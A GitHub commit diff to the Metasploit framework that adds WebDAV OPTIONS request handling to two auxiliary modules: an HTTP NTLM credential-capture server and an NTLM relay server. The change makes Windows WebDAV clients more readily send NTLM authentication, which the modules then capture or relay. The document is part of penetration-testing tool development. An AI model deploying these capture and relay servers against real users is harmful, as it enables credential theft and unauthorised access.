Skip to content

Commit 3036f77

Browse files
committed
Merge branch 'webdav_fix' of https://github.com/mubix/metasploit-framework into mubix-webdav_fix
2 parents ea7d7b8 + d055821 commit 3036f77

File tree

2 files changed

+84
-40
lines changed

2 files changed

+84
-40
lines changed

modules/auxiliary/server/capture/http_ntlm.rb

Lines changed: 37 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -67,23 +67,28 @@ def initialize(info = {})
6767

6868
def on_request_uri(cli, request)
6969
print_status("Request '#{request.uri}'...")
70-
71-
# If the host has not started auth, send 401 authenticate with only the NTLM option
72-
if(!request.headers['Authorization'])
73-
response = create_response(401, "Unauthorized")
74-
response.headers['WWW-Authenticate'] = "NTLM"
75-
cli.send_response(response)
70+
71+
case request.method
72+
when 'OPTIONS'
73+
process_options(cli, request)
7674
else
77-
method,hash = request.headers['Authorization'].split(/\s+/,2)
78-
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
79-
if(method != "NTLM")
80-
print_status("Unrecognized Authorization header, responding with 404")
81-
send_not_found(cli)
82-
return false
83-
end
75+
# If the host has not started auth, send 401 authenticate with only the NTLM option
76+
if(!request.headers['Authorization'])
77+
response = create_response(401, "Unauthorized")
78+
response.headers['WWW-Authenticate'] = "NTLM"
79+
cli.send_response(response)
80+
else
81+
method,hash = request.headers['Authorization'].split(/\s+/,2)
82+
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
83+
if(method != "NTLM")
84+
print_status("Unrecognized Authorization header, responding with 404")
85+
send_not_found(cli)
86+
return false
87+
end
8488

85-
response = handle_auth(cli,hash)
86-
cli.send_response(response)
89+
response = handle_auth(cli,hash)
90+
cli.send_response(response)
91+
end
8792
end
8893
end
8994

@@ -96,6 +101,23 @@ def run
96101
end
97102
exploit()
98103
end
104+
105+
def process_options(cli, request)
106+
print_status("OPTIONS #{request.uri}")
107+
headers = {
108+
'MS-Author-Via' => 'DAV',
109+
'DASL' => '<DAV:sql>',
110+
'DAV' => '1, 2',
111+
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
112+
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
113+
'Cache-Control' => 'private'
114+
}
115+
resp = create_response(207, "Multi-Status")
116+
headers.each_pair {|k,v| resp[k] = v }
117+
resp.body = ""
118+
resp['Content-Type'] = 'text/xml'
119+
cli.send_response(resp)
120+
end
99121

100122
def handle_auth(cli,hash)
101123
#authorization string is base64 encoded message

modules/auxiliary/server/http_ntlmrelay.rb

Lines changed: 47 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -93,44 +93,66 @@ def initialize(info = {})
9393

9494
# Handles the initial requests waiting for the browser to try NTLM auth
9595
def on_request_uri(cli, request)
96+
97+
case request.method
98+
when 'OPTIONS'
99+
process_options(cli, request)
100+
else
101+
datastore['REQUEST_IP'] = cli.peerhost
102+
cli.keepalive = true;
96103

97-
datastore['REQUEST_IP'] = cli.peerhost
98-
cli.keepalive = true;
104+
# If the host has not started auth, send 401 authenticate with only the NTLM option
105+
if(!request.headers['Authorization'])
106+
response = create_response(401, "Unauthorized")
107+
response.headers['WWW-Authenticate'] = "NTLM"
108+
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
99109

100-
# If the host has not started auth, send 401 authenticate with only the NTLM option
101-
if(!request.headers['Authorization'])
102-
response = create_response(401, "Unauthorized")
103-
response.headers['WWW-Authenticate'] = "NTLM"
104-
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
110+
response.body =
111+
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
105112

106-
response.body =
107-
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
113+
cli.send_response(response)
114+
return false
115+
end
116+
method,hash = request.headers['Authorization'].split(/\s+/,2)
117+
# If the method isn't NTLM something odd is goign on.
118+
# Regardless, this won't get what we want, 404 them
119+
if(method != "NTLM")
120+
print_status("Unrecognized Authorization header, responding with 404")
121+
send_not_found(cli)
122+
return false
123+
end
108124

109-
cli.send_response(response)
110-
return false
111-
end
112-
method,hash = request.headers['Authorization'].split(/\s+/,2)
113-
# If the method isn't NTLM something odd is goign on.
114-
# Regardless, this won't get what we want, 404 them
115-
if(method != "NTLM")
116-
print_status("Unrecognized Authorization header, responding with 404")
117-
send_not_found(cli)
118-
return false
119-
end
125+
print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
120126

121-
print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
127+
if (datastore['SYNCFILE'] != nil)
128+
sync_options()
129+
end
122130

123-
if (datastore['SYNCFILE'] != nil)
124-
sync_options()
131+
handle_relay(cli,hash)
125132
end
126-
127-
handle_relay(cli,hash)
128133
end
129134

130135
def run
131136
parse_args()
132137
exploit()
133138
end
139+
140+
def process_options(cli, request)
141+
print_status("OPTIONS #{request.uri}")
142+
headers = {
143+
'MS-Author-Via' => 'DAV',
144+
'DASL' => '<DAV:sql>',
145+
'DAV' => '1, 2',
146+
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
147+
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
148+
'Cache-Control' => 'private'
149+
}
150+
resp = create_response(207, "Multi-Status")
151+
headers.each_pair {|k,v| resp[k] = v }
152+
resp.body = ""
153+
resp['Content-Type'] = 'text/xml'
154+
cli.send_response(resp)
155+
end
134156

135157
#The call to handle_relay should be a victim HTTP type 1 request
136158
def handle_relay(cli_sock, hash)

0 commit comments

Comments
 (0)